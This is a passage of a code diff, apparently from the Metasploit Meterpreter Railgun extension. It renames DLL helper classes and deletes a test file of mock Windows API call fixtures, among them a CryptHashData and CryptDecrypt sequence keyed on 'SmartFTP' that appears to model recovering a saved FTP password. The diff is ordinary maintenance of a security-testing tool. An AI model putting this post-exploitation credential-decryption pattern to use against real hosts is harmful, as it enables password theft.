'cdecl'] - @@directions = ["in", "out", "inout", "return"].freeze + @@directions = ['in', 'out', 'inout', 'return'].freeze attr_reader :return_type, :params, :remote_name, :calling_conv - def initialize(return_type, params, remote_name, calling_conv="stdcall") + def initialize(return_type, params, remote_name, calling_conv='stdcall') check_return_type(return_type) # we do error checking as early as possible so the library is easier to use check_params(params) check_calling_conv(calling_conv) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb similarity index 99% rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb index 4320f9155f..e5df54b707 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb @@ -34,7 +34,7 @@ module Railgun # shared functions # # -module DLLHelper +module LibraryHelper # converts ruby string to zero-terminated ASCII string def str_to_ascii_z(str) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb similarity index 66% rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb index dc22449a74..79f45ee766 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb @@ -5,11 +5,12 @@ module Meterpreter module Extensions module Stdapi module Railgun -class DLLWrapper - attr_reader :_client, :_dll - def initialize(dll, client) - @_dll = dll +class LibraryWrapper + attr_reader :_client, :_library + + def initialize(library, client) + @_library = library @_client = client end @@ -17,11 +18,12 @@ class DLLWrapper # XXX: Depricate this def functions # warn 'Depricated.' - _dll.functions + _library.functions end def method_missing(sym, *args) - _dll.call_function(sym, args, _client) + _library.call_function(sym, args, _client) end end + end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb deleted file mode 100644 index 97d2db75f5..0000000000 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +++ /dev/null @@ -1,515 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun - -require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' - -# -# This mixin serves as a means of providing common mock objects and utilities -# relevant to railgun until a better home is decided upon -# -module MockMagic - - TLV_TYPE_NAMES = { - TLV_TYPE_RAILGUN_SIZE_OUT => "TLV_TYPE_RAILGUN_SIZE_OUT", - TLV_TYPE_RAILGUN_STACKBLOB => "TLV_TYPE_RAILGUN_STACKBLOB", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "TLV_TYPE_RAILGUN_BUFFERBLOB_IN", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT", - TLV_TYPE_RAILGUN_DLLNAME => "TLV_TYPE_RAILGUN_DLLNAME", - TLV_TYPE_RAILGUN_FUNCNAME => "TLV_TYPE_RAILGUN_FUNCNAME", - } - - class MockRailgunClient - attr_reader :platform, :check_request, :response_tlvs - - def initialize(platform, response_tlvs, check_request) - @check_request = check_request - @response_tlvs = response_tlvs - @platform = platform - end - - def send_request(request) - check_request.call(request) - - (Class.new do - def initialize(response_tlvs) - @response_tlvs = response_tlvs - end - def get_tlv_value(type) - return @response_tlvs[type] - end - end).new(@response_tlvs) - end - end - - def make_mock_client(platform = "x86/windows", target_request_tlvs = [], response_tlvs = []) - check_request = lambda do |request| - target_request_tlvs.each_pair do |type, target_value| - assert_equal(target_value, request.get_tlv_value(type), - "process_function_call should send to client appropriate #{TLV_TYPE_NAMES[type]}") - end - end - - return MockRailgunClient.new(platform, response_tlvs, check_request) - end - - # These are sample descriptions of functions to use for testing. - # the definitions include everything needed to mock and end to end test - def mock_function_descriptions - [ - { - :platform => "x86/windows", - :name => "LookupAccountSidA", - :params => [ - ["PCHAR","lpSystemName","in"], - ["LPVOID","Sid","in"], - ["PCHAR","Name","out"], - ["PDWORD","cchName","inout"], - ["PCHAR","ReferencedDomainName","out"], - ["PDWORD","cchReferencedDomainName","inout"], - ["PBLOB","peUse","out"], - ], - :return_type => "BOOL", - :dll_name => "advapi32", - :ruby_args => [nil, 1371864, 100, 100, 100, 100, 1], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 201, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD8\xEE\x14\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x00\b\x00\x00\x00\x02\x00\x00\x00\xC8\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "d\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => "advapi32", - TLV_TYPE_RAILGUN_FUNCNAME => "LookupAccountSidA" - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\x06\x00\x00\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "SYSTEM\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANT AUTHORITY\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x05", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 997 - }, - :returned_hash => { - "GetLastError" => 997, - "return" => true, - "Name" => "SYSTEM", - "ReferencedDomainName" => "NT AUTHORITY", - "peUse" => "\x05", - "cchName" => 6, - "cchReferencedDomainName" => 12 - }, - }, - { - :platform => 'x64/windows', - :name => 'LookupAccountSidA', - :params => [ - ["PCHAR", "lpSystemName", "in"], - ["LPVOID", "Sid", "in"], - ["PCHAR", "Name", "out"], - ["PDWORD", "cchName", "inout"], - ["PCHAR", "ReferencedDomainName", "out"], - ["PDWORD", "cchReferencedDomainName", "inout"], - ["PBLOB", "peUse", "out"] - ], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [nil, 1631552, 100, 100, 100, 100, 1], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 201, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xE5\x18\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xC8\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "d\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'LookupAccountSidA', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\x06\x00\x00\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "SYSTEM\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANT AUTHORITY\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x05", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => { - "GetLastError"=>0, - "return"=>true, - "Name"=>"SYSTEM", - "ReferencedDomainName"=>"NT AUTHORITY", - "peUse"=>"\x05", - "cchName"=>6, - "cchReferencedDomainName"=>12 - }, - }, - { - :platform => 'x86/windows', - :name => 'CryptAcquireContextW', - :params => [["PDWORD", "phProv", "out"], ["PWCHAR", "pszContainer", "in"], ["PWCHAR", "pszProvider", "in"], ["DWORD", "dwProvType", "in"], ["DWORD", "dwflags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [4, nil, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 4026531840], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 4, - TLV_TYPE_RAILGUN_STACKBLOB => "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00 \x00E\x00n\x00h\x00a\x00n\x00c\x00e\x00d\x00 \x00C\x00r\x00y\x00p\x00t\x00o\x00g\x00r\x00a\x00p\x00h\x00i\x00c\x00 \x00P\x00r\x00o\x00v\x00i\x00d\x00e\x00r\x00 \x00v\x001\x00.\x000\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptAcquireContextW', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\xC8\xEB\x14\x00", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phProv"=>1371080}, - }, - { - :platform => 'x86/windows', - :name => 'CryptCreateHash', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hKey", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phHash", "out"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1371080, 32771, 0, 0, 4], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 4, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x03\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptCreateHash', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "p\xEA\x14\x00", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phHash"=>1370736}, - }, - { - :platform => 'x86/windows', - :name => 'CryptHashData', - :params => [["LPVOID", "hHash", "in"], ["PWCHAR", "pbData", "in"], ["DWORD", "dwDataLen", "in"], ["DWORD", "dwFlags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1370736, "SmartFTP", 16, 0], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00p\xEA\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "S\x00m\x00a\x00r\x00t\x00F\x00T\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptHashData', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x86/windows', - :name => 'CryptDeriveKey', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hBaseData", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phKey", "inout"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1371080, 26625, 1370736, 8388608, 4], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x01h\x00\x00\x00\x00\x00\x00p\xEA\x14\x00\x00\x00\x00\x00\x00\x00\x80\x00\x03\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x04\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDeriveKey', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\xA0\x9C\x15\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phKey"=>1416352}, - }, - { - :platform => 'x86/windows', - :name => 'CryptDecrypt', - :params => [["LPVOID", "hKey", "in"], ["LPVOID", "hHash", "in"], ["BOOL", "Final", "in"], ["DWORD", "dwFlags", "in"], ["PBLOB", "pbData", "inout"], ["PDWORD", "pdwDataLen", "inout"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1416352, 0, true, 0, "\x96\"\x83/\xCE|", 6], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xA0\x9C\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\b\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x96\"\x83/\xCE|\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDecrypt', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "q\x00u\x00x\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "pbData"=>"q\x00u\x00x\x00", "pdwDataLen"=>6}, - }, - { - :platform => 'x86/windows', - :name => 'CryptDestroyHash', - :params => [["LPVOID", "hHash", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1370736], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00p\xEA\x14\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyHash', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x86/windows', - :name => 'CryptDestroyKey', - :params => [["LPVOID", "hKey", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1416352], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xA0\x9C\x15\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyKey', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x86/windows', - :name => 'CryptReleaseContext', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "dwFlags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1371080, 0], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptReleaseContext', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x64/windows', - :name => 'CryptAcquireContextW', - :params => [["PDWORD", "phProv", "out"], ["PWCHAR", "pszContainer", "in"], ["PWCHAR", "pszProvider", "in"], ["DWORD", "dwProvType", "in"], ["DWORD", "dwflags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [8, nil, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 4026531840], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 8, - TLV_TYPE_RAILGUN_STACKBLOB => "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00 \x00E\x00n\x00h\x00a\x00n\x00c\x00e\x00d\x00 \x00C\x00r\x00y\x00p\x00t\x00o\x00g\x00r\x00a\x00p\x00h\x00i\x00c\x00 \x00P\x00r\x00o\x00v\x00i\x00d\x00e\x00r\x00 \x00v\x001\x00.\x000\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptAcquireContextW', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\x80\xCE\x1A\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phProv"=>1756800}, - }, - { - :platform => 'x64/windows', - :name => 'CryptCreateHash', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hKey", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phHash", "out"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1756800, 32771, 0, 0, 8], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 8, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptCreateHash', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\x00\xA3\x19\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phHash"=>1680128}, - }, - { - :platform => 'x64/windows', - :name => 'CryptHashData', - :params => [["LPVOID", "hHash", "in"], ["PWCHAR", "pbData", "in"], ["DWORD", "dwDataLen", "in"], ["DWORD", "dwFlags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1680128, "SmartFTP", 16, 0], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "S\x00m\x00a\x00r\x00t\x00F\x00T\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptHashData', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x64/windows', - :name => 'CryptDeriveKey', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hBaseData", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phKey", "inout"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1756800, 26625, 1680128, 8388608, 4], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x04\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDeriveKey', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "p\xA3\x19\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "phKey"=>1680240}, - }, - { - :platform => 'x64/windows', - :name => 'CryptDecrypt', - :params => [["LPVOID", "hKey", "in"], ["LPVOID", "hHash", "in"], ["BOOL", "Final", "in"], ["DWORD", "dwFlags", "in"], ["PBLOB", "pbData", "inout"], ["PDWORD", "pdwDataLen", "inout"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1680240, 0, true, 0, "\x85\"\x97/\xCC|", 6], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00p\xA3\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x85\"\x97/\xCC|\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDecrypt', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "b\x00a\x00z\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true, "pbData"=>"b\x00a\x00z\x00", "pdwDataLen"=>6}, - }, - { - :platform => 'x64/windows', - :name => 'CryptDestroyHash', - :params => [["LPVOID", "hHash", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1680128], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA3\x19\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyHash', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x64/windows', - :name => 